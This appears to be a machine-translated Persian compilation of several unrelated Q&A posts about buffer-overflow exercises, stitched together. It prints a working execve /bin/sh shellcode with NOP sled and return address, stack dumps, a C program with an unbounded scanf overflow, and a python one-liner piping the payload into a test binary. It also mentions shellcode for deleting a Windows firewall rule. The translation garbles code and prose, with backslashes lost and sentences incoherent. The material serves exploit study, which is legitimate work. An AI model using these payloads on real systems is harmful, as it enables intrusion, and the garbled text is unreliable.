سرریز بافر – shellcode تزریقی پس از دستورالعمل ترک خراب شده است

من یک سرریز بافر برای یک کلاس تمرین می کنم و من یک تکه کد دارم که از یک سیستم منبع باز قرض گرفتم. متاسفانه من نمی توانم این کد را فاش کنم.

اطلاعات سیستم من:

 nikel $ uname -a
لینوکس اوبونتو 4.15.0-29-عمومی # 31 ~ 16.04.1-اوبونتو SMP جمعه 18 ژوئیه 10:19:08 UTC 2018 i686 i686 i686 گنو / لینوکس

من از gdbgui برای اشکالزدایی که از طریق pip نصب کردم استفاده میکنم. این نسخه گرافیکی از gdb است.

 nikel $ gdbgui --version
0.13.0.0

بافر من سرشار است، buf اعلام شده حاوی 128 بایت و در 0xbfffe928 وجود دارد. مقادیر به صورت زیر با آرایه اضافه می شوند: buf [len++]، جایی که len در 0xbfffe9a8 است. آدرس برگشت در 0xbfffe9bc .

این شل کد است که من تزریق می کنم:

 " x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x31  xc0  x50  x68  x2f  x2f  x73  x68  x68  x2f  x62  x69  x6e  x89  xe3  x50  x89  xe2  x53  x89  xe1  xb0  x0b  xcd  x80  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x94  x28  xe9  xff  xbf "

در shellcode:

  1. هدف شلختگی، راه اندازی پوسته سیستم / bin / sh است. من آن را مستقیما از https://dhavalkapil.com/blogs/Shellcode-Injection/
  2. x94 کپی کردم که در انتهای آن قرار داده ام، چون آدرسهای حافظه را پر میکنم و به طور مستقیم نوشتن در آدرس بازگشت است که در 0xbfffe9bc .
  3. باز " لازم است که وارد عمل تضعیف شده و بسته شدن " لازم است از این تابع
  4. من فایل را با استفاده از vim -b ویرایش کرده ام و آن را به عنوان یک فایل .bin ذخیره کردم.

این حالت پشته درست قبل از ترک دستورالعمل:

 0xbfffe928: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe930: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe938: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe940: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe948: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe950: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe958: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe960: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe968: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe970: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe978: 0x31 0xc0 0x50 0x68 0x2f 0x2f 0x73 0x68
0xbfffe980: 0x68 0x2f 0x62 0x69 0x6e 0x89 0xe3 0x50
0xbfffe988: 0x89 0xe2 0x53 0x89 0xe1 0xb0 0x0b 0xcd
0xbfffe990: 0x80 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe998: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe9a0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe9a8: 0x99 0x00 0x00 0x00 0x22 0x00 0x00 0x00
0xbfffe9b0: 0xf0 0xef 0xff 0xbf 0x70 0xc1 0x05 0x08
0xbfffe9b8: 0xe8 0xe9 0xff 0xbf 0x28 0xe9 0xff 0xbf

این پشته پس از ترک دستورالعمل:

 0xbfffe928: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe930: 0x90 0x90 0x90 0x90 0x00 0x00 0x00 0x00
0xbfffe938: 0x00 0x37 0xdb 0xb7 0x00 0x00 0x00 0x00
0xbfffe940: 0xa0 0xe5 0xe1 0xb7 0x00 0x00 0x00 0x00
0xbfffe948: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe950: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe958: 0xa9 0xf8 0xe1 0xb7 0x00 0x60 0xf6 0xb7
0xbfffe960: 0x00 0x60 0xf6 0xb7 0x00 0x60 0xf6 0xb7
0xbfffe968: 0x8c 0xe9 0xff 0xbf 0xd6 0xfc 0xe1 0xb7
0xbfffe970: 0x01 0x00 0x00 0x00 0x90 0x90 0x90 0x90
0xbfffe978: 0x6b 0x1e 0xe1 0xb7 0x70 0xc1 0x05 0x08
0xbfffe980: 0x00 0x60 0xf6 0xb7 0xc6 0xfc 0xe1 0xb7
0xbfffe988: 0x70 0xc1 0x05 0x08 0xaf 0xe9 0xff 0xbf
0xbfffe990: 0x00 0x00 0x00 0x00 0x90 0x90 0x90 0x90
0xbfffe998: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe9a0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe9a8: 0x99 0x00 0x00 0x00 0x22 0x00 0x00 0xcc
0xbfffe9b0: 0xf0 0xef 0xff 0xbf 0x70 0xc1 0x05 0x08
0xbfffe9b8: 0xe8 0xe9 0xff 0xbf 0x28 0xe9 0xff 0xbf

من نمی فهمم که چرا فضای حافظه buf خراب شده است. اگر برنامه را اجرا کنم، این خطا را به من می دهد:

 برنامه
 دریافت سیگنال SIGSEGV، گسل Segmentation.
0xbfffe928 در ؟؟ ()

EIP دارای مقدار 0xbfffe928 است که صحیح است. gdb می گوید نمی تواند به آدرس 0xbfffe928 دسترسی پیدا کند

سرریز بافر – قادر به اجرای shellcode تزریق نیست

 #include 

void secret ()
{
    printf ("تبریک!  n")؛
}

void echo ()
{
    array char [60]؛
    اسکن ("٪ s"، آرایه)؛
    printf ("شما وارد:٪ s  n"، آرایه)؛
}

int main ()
{
    echo ()؛
    بازگشت 0؛
}

بالا کدی است که من سعی می کنم از آن استفاده کنم.

آدرس آدرس ebp را با استفاده از gdb یافتم، اگر چه می دانم دشوار است که به مکان دقیق اشاره شود. من استفاده از روش NOP سورتمه

اندازه بافر اختصاص داده شده – 0x44 – 68bytes

کد پوسته – 25 بایت

python -c چاپ ' x90 "* 47 + x31 xc0 x50 x68 x2f x2f x73 x68 x68 x2f x62 x69 x6e x89 xe3 x50 x89 xe2 x53 x89 xe1 xb0 x0b xcd x80 "+" xa8 xbb xff xff "'| ./test

من سعی می کنم به جایی از وسط NOP sled بروید.

و دریافت تقصیر تقسیم نیست، اما من دسترسی به پوسته را دریافت نمی

exploit – چرا نمیتوانم shellcode خودم را در اشکال زدایی ایمن ببینم؟

من یک تمرین برای ایجاد شل کد سفارشی (windows) انجام میدهم. هدف این است که شلختگی ایجاد کنید که فایل ورودی فایروال را حذف می کند.
من با موفقیت یک پوسته معکوس با metasploit ایجاد کردم، با استفاده از یک برنامه پایتون نوشتم، اما زمانی که من سعی می کنم shellcode خود را بنویسم هنوز موفق نشده ام. بخشی از آن به این علت است که ایمنی در شیوه ای عجیب رفتار می کند:

رسیدن به یک نقطه خاص در اجرای، ایمنی از کار می افتد. با این حال، زمانی که فشار را فشار داده و دوباره به گام بر می گردم، می توانم رشته فایلی را در eBx ببینم. بنابراین shellcode من اعدام شد، اما من نمیتوانم دستورالعملهای اعدام را ببینم.

اگر شما بتوانید با رفتار ایمنی کمک کنید، از آن قدردانی خواهم شد …

 خروج ایمنی

 رشته در EBX

 در اینجا یک عکس فوری از شلككود

telnet – Harden DASH علیه Shellcode – به روز رسانی نرم افزار

من یک سرور Telnet را در حالی که به عقب؛ و شروع به مشاهده برخی از داده های غیر قابل انتقال است. من به طور معمول برای اولین بار tty چاپ کردم و به یک ثانیه tty با هدر رفته از همه چیز پیوسته بودم. اپراتور فوق العاده مفید بود. او حتی موفق به وارد کردن نرم افزار در حال اجرا است. من توانستم تعیین کنم که سرور به شدت بر کد های کنترلش اهمیت می دهد؛ علاوه بر این من توانستم نرم افزار مشتریم را مشخص کنم که بایدها ضروری به نحوی تغییر حالت پوسته من است، در نتیجه اجازه می دهد که بدافزار سرور بارگیری شود. نرم افزار من با توجه به دبیان به روز شد. تمام تجربیات غیر دوستانه نیست.

چگونه می توان یک پوسته را در برابر این نوع حمله سخت کرد؟

shellcode – چرا ما نیاز به حذف بایت صفر از کد پوسته؟

من در مورد اصول ساخت کدهای پوسته مطالعه میکنم. من یک سوال در مورد آن دارم

در کتابفروشی من، نویسنده کد پوسته خود را در یک متغیر محیطی ذخیره می کند و مسیر آن را با استفاده از strcpy () در یک برنامه می نویسد.
وقتی او کد پوسته خود را می سازد، بایت های صفر را حذف می کند. او می گوید این به این دلیل است که strcpy () در بایت های صفر متوقف می شود.

با این حال، من فکر می کنم، چون strcpy () مسیر مسیر محیط را (ذخیره کد شل خود را) می گیرد، اگر کد پوسته آن بایت صفر باشد، مهم نیست. من فکر می کنم هدف او تغییر آدرس برگشت به مسیر متغیر محیطی است.
در کتاب درسی، کد پوسته ای که دارای بایت های خالی است در این وضعیت کار نمی کند، اما یک کد پوسته پوسته پوسته می کند.
من نمیتوانم دلیل این را بدانم که چرا باید در این وضعیت بایستی صفر را حذف کنیم.